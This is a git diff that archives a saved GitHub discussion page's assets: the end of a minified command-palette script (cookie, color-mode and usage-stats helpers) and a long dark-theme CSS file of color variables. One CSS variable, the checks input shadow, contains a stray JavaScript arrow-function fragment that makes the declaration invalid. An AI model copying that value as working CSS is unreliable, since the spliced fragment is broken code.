ht(t)||pt(t)}n(dt,"shouldIgnoreActivation");function ht(t){const e=t.target;return e?e.closest(".js-previewable-comment-form")!==null:!1}n(ht,"triggeredInsideAPreviewableCommentForm");function pt(t){const e=t.target;if(!e)return!1;const s=e.closest(".js-code-editor");if(!s)return!1;const o=(0,at.P)(s);if(!o)return!1;const r=o.editor;if(!r)return!1;const c=r.getMode().name;return c==="gfm"||c==="markdown"}n(pt,"triggeredInsideAMarkdownCodeEditor");function mt(){return!!document.querySelector("#memex-root")}n(mt,"triggeredInsideMemex");function ft(t){for(const e of document.querySelectorAll(".js-command-palette-dialog")){const s=e.querySelector(A.tagName);if(!s)return;if(e.open)e.open=!1;else{yt(s,t);const o=e.querySelector(O.Z.tagName);o&&(o.previouslyActiveElement=document.activeElement),e.open=!0}}}n(ft,"toggleCommandPalette");function yt(t,e){const s=t.inputValue.startsWith(">");return e&&!s?(t.inputValue=`>${t.inputValue}`,!0):!e&&s?(t.inputValue=t.inputValue.substring(1),!0):!1}n(yt,"toggleCommandMode"),lt()},35889:(S,C,a)=>{a.d(C,{P:()=>v,g:()=>g});var i=a(59753);const b=new WeakMap;function v(d){return b.get(d)}n(v,"getCodeEditor");async function g(d){return b.get(d)||m(await p(d,"codeEditor:ready"))}n(g,"getAsyncCodeEditor");function m(d){if(!(d instanceof CustomEvent))throw new Error("assert: event is not a CustomEvent");const h=d.detail.editor;if(!d.target)throw new Error("assert: event.target is null");return b.set(d.target,h),h}n(m,"onEditorFromEvent"),(0,i.on)("codeEditor:ready",".js-code-editor",m);function p(d,h){return new Promise(u=>{d.addEventListener(h,u,{once:!0})})}n(p,"nextEvent")},64992:(S,C,a)=>{a.d(C,{I3:()=>v,h5:()=>m,on:()=>p,yn:()=>d});var i=a(7739),b=a(64926);(async()=>(await i.x,(0,b.d8)("preferred_color_mode",v())))();function v(){if(g("dark"))return"dark";if(g("light"))return"light"}n(v,"getPreferredColorMode");function g(h){return window.matchMedia&&window.matchMedia(`(prefers-color-scheme: ${h})`).matches}n(g,"prefersColorScheme");function m(h){const u=document.querySelector("html[data-color-mode]");!u||u.setAttribute("data-color-mode",h)}n(m,"setClientMode");function p(h,u){const f=document.querySelector("html[data-color-mode]");!f||f.setAttribute(`data-${u}-theme`,h)}n(p,"setClientTheme");function d(h){const u=document.querySelector("html[data-color-mode]");if(!!u)return u.getAttribute(`data-${h}-theme`)}n(d,"getClientTheme")},64926:(S,C,a)=>{a.d(C,{$1:()=>b,d8:()=>g,ej:()=>i,kT:()=>m});function i(p){return b(p)[0]}n(i,"getCookie");function b(p){const d=[];for(const h of v()){const[u,f]=h.trim().split("=");p===u&&typeof f!="undefined"&&d.push({key:u,value:f})}return d}n(b,"getCookies");function v(){try{return document.cookie.split(";")}catch{return[]}}n(v,"readCookies");function g(p,d,h=null,u=!1,f="lax"){let E=document.domain;if(E==null)throw new Error("Unable to get document domain");E.endsWith(".github.com")&&(E="github.com");const _=location.protocol==="https:"?"; secure":"",G=h?`; expires=${h}`:"";u===!1&&(E=`.${E}`);try{document.cookie=`${p}=${d}; path=/; domain=${E}${G}${_}; samesite=${f}`}catch{}}n(g,"setCookie");function m(p,d=!1){let h=document.domain;if(h==null)throw new Error("Unable to get document domain");h.endsWith(".github.com")&&(h="github.com");const u=new Date().getTime(),f=new Date(u-1).toUTCString(),E=location.protocol==="https:"?"; secure":"",_=`; expires=${f}`;d===!1&&(h=`.${h}`);try{document.cookie=`${p}=''; path=/; domain=${h}${_}${E}`}catch{}}n(m,"deleteCookie")},7739:(S,C,a)=>{a.d(C,{C:()=>b,x:()=>i});const i=function(){return document.readyState==="interactive"||document.readyState==="complete"?Promise.resolve():new Promise(v=>{document.addEventListener("DOMContentLoaded",()=>{v()})})}(),b=function(){return document.readyState==="complete"?Promise.resolve():new Promise(v=>{window.addEventListener("load",v)})}()},97474:(S,C,a)=>{a.d(C,{Z:()=>i});function i(b){var v,g;const m=(g=(v=b.head)==null?void 0:v.querySelector('meta[name="expected-hostname"]'))==null?void 0:g.content;if(!m)return!1;const p=m.replace(/\.$/,"").split(".").slice(-2).join("."),d=b.location.hostname.replace(/\.$/,"").split(".").slice(-2).join(".");return p!==d}n(i,"detectProxySite")},45922:(S,C,a)=>{a.d(C,{b:()=>g});var i=a(97474),b=a(7739);let v=[];function g(u,f=!1){u.timestamp===void 0&&(u.timestamp=new Date().getTime()),u.loggedIn=h(),v.push(u),f?d():p()}n(g,"sendStats");let m=null;async function p(){await b.C,m==null&&(m=window.requestIdleCallback(d))}n(p,"scheduleSendStats");function d(){var u,f;if(m=null,!v.length||(0,i.Z)(document))return;const E=(f=(u=document.head)==null?void 0:u.querySelector('meta[name="browser-stats-url"]'))==null?void 0:f.content;if(!E)return;const _=JSON.stringify({stats:v});try{navigator.sendBeacon&&navigator.sendBeacon(E,_)}catch{}v=[]}n(d,"flushStats");function h(){var u,f;return!!((f=(u=document.head)==null?void 0:u.querySelector('meta[name="user-login"]'))==null?void 0:f.content)}n(h,"isLoggedIn"),document.addEventListener("pagehide",d),document.addEventListener("visibilitychange",d)},6741:(S,C,a)=>{a.d(C,{RB:()=>b,qC:()=>v,w0:()=>i});class i{constructor(m){this.closed=!1,this.unsubscribe=()=>{m(),this.closed=!0}}}n(i,"Subscription");function b(g,m,p,d={capture:!1}){return g.addEventListener(m,p,d),new i(()=>{g.removeEventListener(m,p,d)})}n(b,"fromEvent");function v(...g){return new i(()=>{for(const m of g)m.unsubscribe()})}n(v,"compose")}},S=>{var C=n(i=>S(S.s=i),"__webpack_exec__");S.O(0,["vendors-node_modules_selector-observer_dist_index_esm_js","vendors-node_modules_github_mini-throttle_dist_decorators_js-node_modules_github_catalyst_lib-6e1996","vendors-node_modules_github_clipboard-copy-element_dist_index_esm_js-node_modules_delegated-e-e4591b","app_assets_modules_github_command-palette_items_help-item_ts-app_assets_modules_github_comman-7e29fd"],()=>C(86761));var a=S.O()}]);})(); + +//# sourceMappingURL=command-palette-10120dba33e7.js.map \ No newline at end of file diff --git a/archive/Problem 6 Find the Prime · Discussion #7 · Ta180m_Idiot-Code-Golf_files/dark-d4a90c367f0c.css b/archive/Problem 6 Find the Prime · Discussion #7 · Ta180m_Idiot-Code-Golf_files/dark-d4a90c367f0c.css new file mode 100644 index 0000000..f8ab479 --- /dev/null +++ b/archive/Problem 6 Find the Prime · Discussion #7 · Ta180m_Idiot-Code-Golf_files/dark-d4a90c367f0c.css @@ -0,0 +1,3 @@ +[data-color-mode=light][data-light-theme=dark],[data-color-mode=dark][data-dark-theme=dark]{--color-canvas-default-transparent: rgba(13,17,23,0);--color-page-header-bg: #0d1117;--color-marketing-icon-primary: #79c0ff;--color-marketing-icon-secondary: #1f6feb;--color-diff-blob-addition-num-text: #c9d1d9;--color-diff-blob-addition-fg: #c9d1d9;--color-diff-blob-addition-num-bg: rgba(63,185,80,0.3);--color-diff-blob-addition-line-bg: rgba(46,160,67,0.15);--color-diff-blob-addition-word-bg: rgba(46,160,67,0.4);--color-diff-blob-deletion-num-text: #c9d1d9;--color-diff-blob-deletion-fg: #c9d1d9;--color-diff-blob-deletion-num-bg: rgba(248,81,73,0.3);--color-diff-blob-deletion-line-bg: rgba(248,81,73,0.15);--color-diff-blob-deletion-word-bg: rgba(248,81,73,0.4);--color-diff-blob-hunk-num-bg: rgba(56,139,253,0.4);--color-diff-blob-expander-icon: #8b949e;--color-diff-blob-selected-line-highlight-mix-blend-mode: screen;--color-diffstat-deletion-border: rgba(240,246,252,0.1);--color-diffstat-addition-border: rgba(240,246,252,0.1);--color-diffstat-addition-bg: #3fb950;--color-search-keyword-hl: rgba(210,153,34,0.4);--color-prettylights-syntax-comment: #8b949e;--color-prettylights-syntax-constant: #79c0ff;--color-prettylights-syntax-entity: #d2a8ff;--color-prettylights-syntax-storage-modifier-import: #c9d1d9;--color-prettylights-syntax-entity-tag: #7ee787;--color-prettylights-syntax-keyword: #ff7b72;--color-prettylights-syntax-string: #a5d6ff;--color-prettylights-syntax-variable: #ffa657;--color-prettylights-syntax-brackethighlighter-unmatched: #f85149;--color-prettylights-syntax-invalid-illegal-text: #f0f6fc;--color-prettylights-syntax-invalid-illegal-bg: #8e1519;--color-prettylights-syntax-carriage-return-text: #f0f6fc;--color-prettylights-syntax-carriage-return-bg: #b62324;--color-prettylights-syntax-string-regexp: #7ee787;--color-prettylights-syntax-markup-list: #f2cc60;--color-prettylights-syntax-markup-heading: #1f6feb;--color-prettylights-syntax-markup-italic: #c9d1d9;--color-prettylights-syntax-markup-bold: #c9d1d9;--color-prettylights-syntax-markup-deleted-text: #ffdcd7;--color-prettylights-syntax-markup-deleted-bg: #67060c;--color-prettylights-syntax-markup-inserted-text: #aff5b4;--color-prettylights-syntax-markup-inserted-bg: #033a16;--color-prettylights-syntax-markup-changed-text: #ffdfb6;--color-prettylights-syntax-markup-changed-bg: #5a1e02;--color-prettylights-syntax-markup-ignored-text: #c9d1d9;--color-prettylights-syntax-markup-ignored-bg: #1158c7;--color-prettylights-syntax-meta-diff-range: #d2a8ff;--color-prettylights-syntax-brackethighlighter-angle: #8b949e;--color-prettylights-syntax-sublimelinter-gutter-mark: #484f58;--color-prettylights-syntax-constant-other-reference-link: #a5d6ff;--color-codemirror-text: #c9d1d9;--color-codemirror-bg: #0d1117;--color-codemirror-gutters-bg: #0d1117;--color-codemirror-guttermarker-text: #0d1117;--color-codemirror-guttermarker-subtle-text: #6e7681;--color-codemirror-linenumber-text: #8b949e;--color-codemirror-cursor: #c9d1d9;--color-codemirror-selection-bg: rgba(56,139,253,0.4);--color-codemirror-activeline-bg: rgba(110,118,129,0.1);--color-codemirror-matchingbracket-text: #c9d1d9;--color-codemirror-lines-bg: #0d1117;--color-codemirror-syntax-comment: #8b949e;--color-codemirror-syntax-constant: #79c0ff;--color-codemirror-syntax-entity: #d2a8ff;--color-codemirror-syntax-keyword: #ff7b72;--color-codemirror-syntax-storage: #ff7b72;--color-codemirror-syntax-string: #a5d6ff;--color-codemirror-syntax-support: #79c0ff;--color-codemirror-syntax-variable: #ffa657;--color-checks-bg: #010409;--color-checks-run-border-width: 1px;--color-checks-container-border-width: 1px;--color-checks-text-primary: #c9d1d9;--color-checks-text-secondary: #8b949e;--color-checks-text-link: #58a6ff;--color-checks-btn-icon: #8b949e;--color-checks-btn-hover-icon: #c9d1d9;--color-checks-btn-hover-bg: rgba(110,118,129,0.1);--color-checks-input-text: #8b949e;--color-checks-input-placeholder-text: #6e7681;--color-checks-input-focus-text: #c9d1d9;--color-checks-input-bg: #161b22;--color-checks-input-shadow: 0 0 0 1px (obj) => get_1.default(obj, path);--color-checks-donut-error: #f85149;--color-checks-donut-pending: #d29922;--color-checks-donut-success: #2ea043;--color-checks-donut-neutral: #8b949e;--color-checks-dropdown-text: #c9d1d9;--color-checks-dropdown-bg: #161b22;--color-checks-dropdown-border: #30363d;--color-checks-dropdown-shadow: rgba(1,4,9,0.3);--color-checks-dropdown-hover-text: #c9d1d9;--color-checks-dropdown-hover-bg: rgba(110,118,129,0.1);--color-checks-dropdown-btn-hover-text: #c9d1d9;--color-checks-dropdown-btn-hover-bg: rgba(110,118,129,0.1);--color-checks-scrollbar-thumb-bg: rgba(110,118,129,0.4);--color-checks-header-label-text: #8b949e;--color-checks-header-label-open-text: #c9d1d9;--color-checks-header-border: #21262d;--color-checks-header-icon: #8b949e;--color-checks-line-text: #8b949e;--color-checks-line-num-text: #6e7681;--color-checks-line-timestamp-text: #6e7681;--color-checks-line-hover-bg: rgba(110,118,129,0.1);--color-checks-line-selected-bg: rgba(56,139,253,0.15);--color-checks-line-selected-num-text: #58a6ff;--color-checks-line-dt-fm-text: #ffffff;--color-checks-line-dt-fm-bg: #9e6a03;--color-checks-gate-bg: rgba(187,128,9,0.15);--color-checks-gate-text: #8b949e;--color-checks-gate-waiting-text: #d29922;--color-checks-step-header-open-bg: #161b22;--color-checks-step-error-text: #f85149;--color-checks-step-warning-text: #d29922;--color-checks-logline-text: #8b949e;--color-checks-logline-num-text: #6e7681;--color-checks-logline-debug-text: #a371f7;--color-checks-logline-error-text: #8b949e;--color-checks-logline-error-num-text: #6e7681;--color-checks-logline-error-bg: rgba(248,81,73,0.15);--color-checks-logline-warning-text: #8b949e;--color-checks-logline-warning-num-text: #d29922;--color-checks-logline-warning-bg: rgba(187,128,9,0.15);--color-checks-logline-command-text: #58a6ff;--color-checks-logline-section-text: #3fb950;--color-checks-ansi-black: #0d1117;--color-checks-ansi-black-bright: #161b22;--color-checks-ansi-white: #b1bac4;--color-checks-ansi-white-bright: #b1bac4;--color-checks-ansi-gray: #6e7681;--color-checks-ansi-red: #ff7b72;--color-checks-ansi-red-bright: #ffa198;--color-checks-ansi-green: #3fb950;--color-checks-ansi-green-bright: #56d364;--color-checks-ansi-yellow: #d29922;--color-checks-ansi-yellow-bright: #e3b341;--color-checks-ansi-blue: #58a6ff;--color-checks-ansi-blue-bright: #79c0ff;--color-checks-ansi-magenta: #bc8cff;--color-checks-ansi-magenta-bright: #d2a8ff;--color-checks-ansi-cyan: #76e3ea;--color-checks-ansi-cyan-bright: #b3f0ff;--color-project-header-bg: #0d1117;--color-project-sidebar-bg: #161b22;--color-project-gradient-in: #161b22;--color-project-gradient-out: rgba(22,27,34,0);--color-mktg-btn-bg: #f6f8fa;--color-mktg-btn-shadow-outline: rgb(255 255 255 / 25%) 0 0 0 1px inset;--color-mktg-btn-shadow-focus: rgb(255 255 255 / 25%) 0 0 0 4px;--color-mktg-btn-shadow-hover: 0 4px 7px rgba(0, 0, 0, 0.15), 0 100px 80px rgba(255, 255, 255, 0.02), 0 42px 33px rgba(255, 255, 255, 0.024), 0 22px 18px rgba(255, 255, 255, 0.028), 0 12px 10px rgba(255, 255, 255, 0.034), 0 7px 5px rgba(255, 255, 255, 0.04), 0 3px 2px rgba(255, 255, 255, 0.07);--color-mktg-btn-shadow-hover-muted: rgb(255 255 255) 0 0 0 2px inset;--color-avatar-bg: rgba(255,255,255,0.1);--color-avatar-border: rgba(240,246,252,0.1);--color-avatar-stack-fade: #30363d;--color-avatar-stack-fade-more: #21262d;--color-avatar-child-shadow: -2px -2px 0 #0d1117;--color-topic-tag-border: rgba(0,0,0,0);--color-counter-border: rgba(0,0,0,0);--color-select-menu-backdrop-border: #484f58;--color-select-menu-tap-highlight: rgba(48,54,61,0.5);--color-select-menu-tap-focus-bg: #0c2d6b;--color-overlay-shadow: 0 0 0 1px #30363d, 0 16px 32px rgba(1,4,9,0.85);--color-header-text: rgba(255,255,255,0.7);--color-header-bg: #161b22;--color-header-divider: #8b949e;--color-header-logo: #f0f6fc;--color-header-search-bg: #0d1117;--color-header-search-border: #30363d;--color-sidenav-selected-bg: #21262d;--color-menu-bg-active: #161b22;--color-input-disabled-bg: rgba(110,118,129,0);--color-timeline-badge-bg: #21262d;--color-ansi-black: #484f58;--color-ansi-black-bright: #6e7681;--color-ansi-white: #b1bac4;--color-ansi-white-bright: #ffffff;--color-ansi-gray: #6e7681;--color-ansi-red: #ff7b72;--color-ansi-red-bright: #ffa198;--color-ansi-green: #3fb950;--color-ansi-green-bright: #56d364;--color-ansi-yellow: #d29922;--color-ansi-yellow-bright: #e3b341;--color-ansi-blue: #58a6ff;--color-ansi-blue-bright: #79c0ff;--color-ansi-magenta: #bc8cff;--color-ansi-magenta-bright: #d2a8ff;--color-ansi-cyan: #39c5cf;--color-ansi-cyan-bright: #56d4dd;--color-btn-text: #c9d1d9;--color-btn-bg: #21262d;--color-btn-border: rgba(240,246,252,0.1);--color-btn-shadow: 0 0 transparent;--color-btn-inset-shadow: 0 0 transparent;--color-btn-hover-bg: #30363d;--color-btn-hover-border: #8b949e;--color-btn-active-bg: hsla(212,12%,18%,1);--color-btn-active-border: #6e7681;--color-btn-selected-bg: #161b22;--color-btn-focus-bg: #21262d;--color-btn-focus-border: #8b949e;--color-btn-focus-shadow: 0 0 0 3px rgba(139,148,158,0.3);--color-btn-shadow-active: inset 0 0.15em 0.3em rgba(1,4,9,0.15);--color-btn-shadow-input-focus: 0 0 0 0.2em rgba(31,111,235,0.3);--color-btn-counter-bg: #30363d;--color-btn-primary-text: #ffffff;--color-btn-primary-bg: #238636;--color-btn-primary-border: rgba(240,246,252,0.1);--color-btn-primary-shadow: 0 0 transparent;--color-btn-primary-inset-shadow: 0 0 transparent;--color-btn-primary-hover-bg: #2ea043;--color-btn-primary-hover-border: rgba(240,246,252,0.1);--color-btn-primary-selected-bg: #238636;--color-btn-primary-selected-shadow: 0 0 transparent;--color-btn-primary-disabled-text: rgba(255,255,255,0.5);--color-btn-primary-disabled-bg: rgba(35,134,54,0.6);--color-btn-primary-disabled-border: rgba(240,246,252,0.1);--color-btn-primary-focus-bg: #238636;--color-btn-primary-focus-border: rgba(240,246,252,0.1);--color-btn-primary-focus-shadow: 0 0 0 3px rgba(46,164,79,0.4);--color-btn-primary-icon: #ffffff;--color-btn-primary-counter-bg: rgba(255,255,255,0.2);--color-btn-outline-text: #58a6ff;--color-btn-outline-hover-text: #58a6ff;--color-btn-outline-hover-bg: #30363d;--color-btn-outline-hover-border: rgba(240,246,252,0.1);--color-btn-outline-hover-shadow: 0 1px 0 rgba(1,4,9,0.1);--color-btn-outline-hover-inset-shadow: inset 0 1px 0 rgba(255,255,255,0.03);--color-btn-outline-hover-counter-bg: rgba(255,255,255,0.2);--color-btn-outline-selected-text: #ffffff;--color-btn-outline-selected-bg: #0d419d;--color-btn-outline-selected-border: rgba(240,246,252,0.1);--color-btn-outline-selected-shadow: 0 0 transparent;--color-btn-outline-disabled-text: rgba(88,166,255,0.5);--color-btn-outline-disabled-bg: #0d1117;--color-btn-outline-disabled-counter-bg: rgba(31,111,235,0.05);--color-btn-outline-focus-border: rgba(240,246,252,0.1);--color-btn-outline-focus-shadow: 0 0 0 3px rgba(17,88,199,0.4);--color-btn-outline-counter-bg: rgba(31,111,235,0.1);--color-btn-danger-text: #f85149;--color-btn-danger-hover-text: #ffffff;--color-btn-danger-hover-bg: #da3633;--color-btn-danger-hover-border: #f85149;--color-btn-danger-hover-shadow: 0 0 transparent;--color-btn-danger-hover-inset-shadow: 0 0 transparent;--color-btn-danger-hover-icon: #ffffff;--color-btn-danger-hover-counter-bg: rgba(255,255,255,0.2);--color-btn-danger-selected-text: #ffffff;--color-btn-danger-selected-bg: #b62324;--color-btn-danger-selected-border: #ff7b72;--color-btn-danger-selected-shadow: 0 0 transparent;--color-btn-danger-disabled-text: rgba(248,81,73,0.5);--color-btn-danger-disabled-bg: #0d1117;--color-btn-danger-disabled-counter-bg: rgba(218,54,51,0.05);--color-btn-danger-focus-border: #f85149;--color-btn-danger-focus-shadow: 0 0 0 3px rgba(248,81,73,0.4);--color-btn-danger-counter-bg: rgba(218,54,51,0.1);--color-btn-danger-icon: #f85149;--color-underlinenav-icon: #6e7681;--color-underlinenav-border-hover: rgba(110,118,129,0.4);--color-action-list-item-inline-divider: rgba(48,54,61,0.48);--color-action-list-item-default-hover-bg: rgba(177,186,196,0.12);--color-action-list-item-default-hover-border: rgba(0,0,0,0);--color-action-list-item-default-active-bg: rgba(177,186,196,0.2);--color-action-list-item-default-active-border: rgba(0,0,0,0);--color-action-list-item-default-selected-bg: rgba(177,186,196,0.08);--color-action-list-item-danger-hover-bg: rgba(248,81,73,0.16);--color-action-list-item-danger-active-bg: rgba(248,81,73,0.24);--color-action-list-item-danger-hover-text: #ff7b72;--color-switch-track-bg: #010409;--color-switch-track-border: #6e7681;--color-switch-track-checked-bg: rgba(31,111,235,0.35);--color-switch-track-checked-hover-bg: rgba(31,111,235,0.5);--color-switch-track-checked-active-bg: rgba(31,111,235,0.65);--color-switch-track-checked-border: #58a6ff;--color-switch-knob-checked-bg: #1f6feb;--color-switch-knob-checked-disabled-bg: #484f58;--color-fg-default: #c9d1d9;--color-fg-muted: #8b949e;--color-fg-subtle: #6e7681;--color-fg-on-emphasis: #ffffff;--color-canvas-default: #0d1117;--color-canvas-overlay: #161b22;--color-canvas-inset: #010409;--color-canvas-subtle: #161b22;--color-border-default: #30363d;--color-border-muted: #21262d;--color-border-subtle: rgba(240,246,252,0.1);--color-shadow-small: 0 0 transparent;--color-shadow-medium: 0 3px 6px #010409;--color-shadow-large: 0 8px 24px #010409;--color-shadow-extra-large: 0 12px 48px #010409;--color-neutral-emphasis-plus: #6e7681;--color-neutral-emphasis: #6e7681;--color-neutral-muted: rgba(110,118,129,0.4);--color-neutral-subtle: rgba(110,118,129,0.1);--color-accent-fg: #58a6ff;--color-accent-emphasis: #1f6feb;--color-accent-muted: rgba(56,139,253,0.4);--color-accent-subtle: rgba(56,139,253,0.15);--color-success-fg: #3fb950;--color-success-emphasis: #238636;--color-success-muted: rgba(46,160,67,0.4);--color-success-subtle: rgba(46,160,67,0.15);--color-attention-fg: #d29922;--color-attention-emphasis: #9e6a03;--color-attention-muted: rgba(187,128,9,0.4);--color-attention-subtle: rgba(187,128,9,0.15);--color-severe-fg: #db6d28;--color-severe-emphasis: #bd561d;--color-severe-muted: rgba(219,109,40,0.4);--color-severe-subtle: rgba(219,109,40,0.15);--color-danger-fg: #f85149;--color-danger-emphasis: #da3633;--color-danger-muted: rgba(248,81,73,0.4);--color-danger-subtle: rgba(248,81,73,0.15);--color-open-fg: #3fb950;--color-open-emphasis: #238636;--color-open-muted: rgba(46,160,67,0.4);--color-open-subtle: rgba(46,160,67,0.15);--color-closed-fg: #f85149;--color-closed-emphasis: #da3633;--color-closed-muted: rgba(248,81,73,0.4);--color-closed-subtle: rgba(248,81,73,0.15);--color-done-fg: #a371f7;--color-done-emphasis: #8957e5;--color-done-muted: rgba(163,113,247,0.4);--color-done-subtle: rgba(163,113,247,0.15);--color-sponsors-fg: #db61a2;--color-sponsors-emphasis: #bf4b8a;--color-sponsors-muted: rgba(219,97,162,0.4);--color-sponsors-subtle: rgba(219,97,162,0.15);--color-primer-fg-disabled: #484f58;--color-primer-canvas-backdrop: rgba(1,4,9,0.8);--color-primer-canvas-sticky: rgba(13,17,23,0.95);--color-primer-border-active: #F78166;--color-primer-border-contrast: rgba(255,255,255,0.2);--color-primer-shadow-highlight: 0 0 transparent;--color-primer-shadow-inset: 0 0 transparent;--color-primer-shadow-focus: 0 0 0 3px #0c2d6b;--color-scale-black: #010409;--color-scale-white: #ffffff;--color-scale-gray-0: #f0f6fc;--color-scale-gray-1: #c9d1d9;--color-scale-gray-2: #b1bac4;--color-scale-gray-3: #8b949e;--color-scale-gray-4: #6e7681;--color-scale-gray-5: #484f58;--color-scale-gray-6: #30363d;--color-scale-gray-7: #21262d;--color-scale-gray-8: #161b22;--color-scale-gray-9: #0d1117;--color-scale-blue-0: #cae8ff;--color-scale-blue-1: #a5d6ff;--color-scale-blue-2: #79c0ff;--color-scale-blue-3: #58a6ff;--color-scale-blue-4: #388bfd;--color-scale-blue-5: #1f6feb;--color-scale-blue-6: #1158c7;--color-scale-blue-7: #0d419d;--color-scale-blue-8: #0c2d6b;--color-scale-blue-9: #051d4d;--color-scale-green-0: #aff5b4;--color-scale-green-1: #7ee787;--color-scale-green-2: #56d364;--color-scale-green-3: #3fb950;--color-scale-green-4: #2ea043;--color-scale-green-5: #238636;--color-scale-green-6: #196c2e;--color-scale-green-7: #0f5323;--color-scale-green-8: #033a16;--color-scale-green-9: #04260f;--color-scale-yellow-0: #f8e3a1;--color-scale-yellow-1: #f2cc60;--color-scale-yellow-2: #e3b341;--color-scale-yellow-3: #d29922;--color-scale-yellow-4: #bb8009;--color-scale-yellow-5: #9e6a03;--color-scale-yellow-6: #845306;--color-scale-yellow-7: #693e00;--color-scale-yellow-8: #4b2900;--color-scale-yellow-9: #341a00;--color-scale-orange-0: #ffdfb6;--color-scale-orange-1: #ffc680;--color-scale-orange-2: #ffa657;--color-scale-orange-3: #f0883e;--color-scale-orange-4: #db6d28;--color-scale-orange-5: #bd561d;--color-scale-orange-6: #9b4215;--color-scale-orange-7: #762d0a;--color-scale-orange-8: #5a1e02;--color-scale-orange-9: #3d1300;--color-scale-red-0: #ffdcd7;--color-scale-red-1: #ffc1ba;--color-scale-red-2: #ffa198;--color-scale-red-3: #ff7b72;--color-scale-red-4: #f85149;--color-scale-red-5: #da3633;--color-scale-red-6: #b62324;--color-scale-red-7: #8e1519;--color-scale-red-8: #67060c;--color-scale-red-9: #490202;--color-scale-purple-0: #eddeff;--color-scale-purple-1: #e2c5ff;--color-scale-purple-2: #d2a8ff;--color-scale-purple-3: #bc8cff;--color-scale-purple-4: #a371f7;--color-scale-purple-5: #8957e5;--color-scale-purple-6: #6e40c9;--color-scale-purple-7: #553098;--color-scale-purple-8: #3c1e70;--color-scale-purple-9: #271052;--color-scale-pink-0: #ffdaec;--color-scale-pink-1: #ffbedd;--color-scale-pink-2: #ff9bce;--color-scale-pink-3: #f778ba;--color-scale-pink-4: #db61a2;--color-scale-pink-5: #bf4b8a;--color-scale-pink-6: #9e3670;--color-scale-pink-7: #7d2457;--color-scale-pink-8: #5e103e;--color-scale-pink-9: #42062a;--color-scale-coral-0: #FFDDD2;--color-scale-coral-1: #FFC2B2;--color-scale-coral-2: #FFA28B;--color-scale-coral-3: #F78166;--color-scale-coral-4: #EA6045;--color-scale-coral-5: #CF462D;--color-scale-coral-6: #AC3220;--color-scale-coral-7: #872012;--color-scale-coral-8: #640D04;--color-scale-coral-9: #460701}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme=dark]{--color-canvas-default-transparent: rgba(13,17,23,0);--color-page-header-bg: #0d1117;--color-marketing-icon-primary: #79c0ff;--color-marketing-icon-secondary: #1f6feb;--color-diff-blob-addition-num-text: #c9d1d9;--color-diff-blob-addition-fg: #c9d1d9;--color-diff-blob-addition-num-bg: rgba(63,185,80,0.3);--color-diff-blob-addition-line-bg: rgba(46,160,67,0.15);--color-diff-blob-addition-word-bg: rgba(46,160,67,0.4);--color-diff-blob-deletion-num-text: #c9d1d9;--color-diff-blob-deletion-fg: #c9d1d9;--color-diff-blob-deletion-num-bg: rgba(248,81,73,0.3);--color-diff-blob-deletion-line-bg: rgba(248,81,73,0.15);--color-diff-blob-deletion-word-bg: rgba(248,81,73,0.4);--color-diff-blob-hunk-num-bg: rgba(56,139,253,0.4);--color-diff-blob-expander-icon: #8b949e;--color-diff-blob-selected-line-highlight-mix-blend-mode: screen;--color-diffstat-deletion-border: rgba(240,246,252,0.1);--color-diffstat-addition-border: rgba(240,246,252,0.1);--color-diffstat-addition-bg: #3fb950;--color-search-keyword-hl: rgba(210,153,34,0.4);--color-prettylights-syntax-comment: #8b949e;--color-prettylights-syntax-constant: #79c0ff;--color-prettylights-syntax-entity: #d2a8ff;--color-prettylights-syntax-storage-modifier-import: #c9d1d9;--color-prettylights-syntax-entity-tag: #7ee787;--color-prettylights-syntax-keyword: #ff7b72;--color-prettylights-syntax-string: #a5d6ff;--color-prettylights-syntax-variable: #ffa657;--color-prettylights-syntax-brackethighlighter-unmatched: #f85149;--color-prettylights-syntax-invalid-illegal-text: #f0f6fc;--color-prettylights-syntax-invalid-illegal-bg: #8e1519;--color-prettylights-syntax-carriage-return-text: #f0f6fc;--color-prettylights-syntax-carriage-return-bg: #b62324;--color-prettylights-syntax-string-regexp: #7ee787;--color-prettylights-syntax-markup-list: #f2cc60;--color-prettylights-syntax-markup-heading: #1f6feb;--color-prettylights-syntax-markup-italic: #c9d1d9;--color-prettylights-syntax-markup-bold: #c9d1d9;--color-prettylights-syntax-markup-deleted-text: #ffdcd7;--color-prettylights-syntax-markup-deleted-bg: #67060c;--color-prettylights-syntax-markup-inserted-text: #aff5b4;--color-prettylights-syntax-markup-inserted-bg: #033a16;--color-prettylights-syntax-markup-changed-text: #ffdfb6;--color-prettylights-syntax-markup-changed-bg: #5a1e02;--color-prettylights-syntax-markup-ignored-text: #c9d1d9;--color-prettylights-syntax-markup-ignored-bg: #1158c7;--color-prettylights-syntax-meta-diff-range: #d2a8ff;--color-prettylights-syntax-brackethighlighter-angle: #8b949e;--color-prettylights-syntax-sublimelinter-gutter-mark: #484f58;--color-prettylights-syntax-constant-other-reference-link: #a5d6ff;--color-codemirror-text: #c9d1d9;--color-codemirror-bg: #0d1117;--color-codemirror-gutters-bg: #0d1117;--color-codemirror-guttermarker-text: #0d1117;--color-codemirror-guttermarker-subtle-text: #6e7681;--color-codemirror-linenumber-text: #8b949e;--color-codemirror-cursor: #c9d1d9;--color-codemirror-selection-bg: rgba(56,139,253,0.4);--color-codemirror-activeline-bg: rgba(110,118,129,0.1);--color-codemirror-matchingbracket-text: #c9d1d9;--color-codemirror-lines-bg: #0d1117;--color-codemirror-syntax-comment: #8b949e;--color-codemirror-syntax-constant: #79c0ff;--color-codemirror-syntax-entity: #d2a8ff;--color-codemirror-syntax-keyword: #ff7b72;--color-codemirror-syntax-storage: #ff7b72;--color-codemirror-syntax-string: #a5d6ff;--color-codemirror-syntax-support: #79c0ff;--color-codemirror-syntax-variable: #ffa657;--color-checks-bg: #010409;--color-checks-run-border-width: 1px;--color-checks-container-border-width: 1px;--color-checks-text-primary: #c9d1d9;--color-checks-text-secondary: #8b949e;--color-checks-text-link: #58a6ff;--color-checks-btn-icon: #8b949e;--color-checks-btn-hover-icon: #c9d1d9;--color-checks-btn-hover-bg: rgba(110,118,129,0.1);--color-checks-input-text: #8b949e;--color-checks-input-placeholder-text: #6e7681;--color-checks-input-focus-text: #c9d1d9;--color-checks-input-bg: #161b22;--color-checks-input-shadow: 0 0 0 1px (obj) => get_1.default(obj, path);--color-checks-donut-error: #f85149;--color-checks-donut-pending: #d29922;--color-checks-donut-success: #2ea043;--color-checks-donut-neutral: #8b949e;--color-checks-dropdown-text: #c9d1d9;--color-checks-dropdown-bg: #161b22;--color-checks-dropdown-border: #30363d;--color-checks-dropdown-shadow: 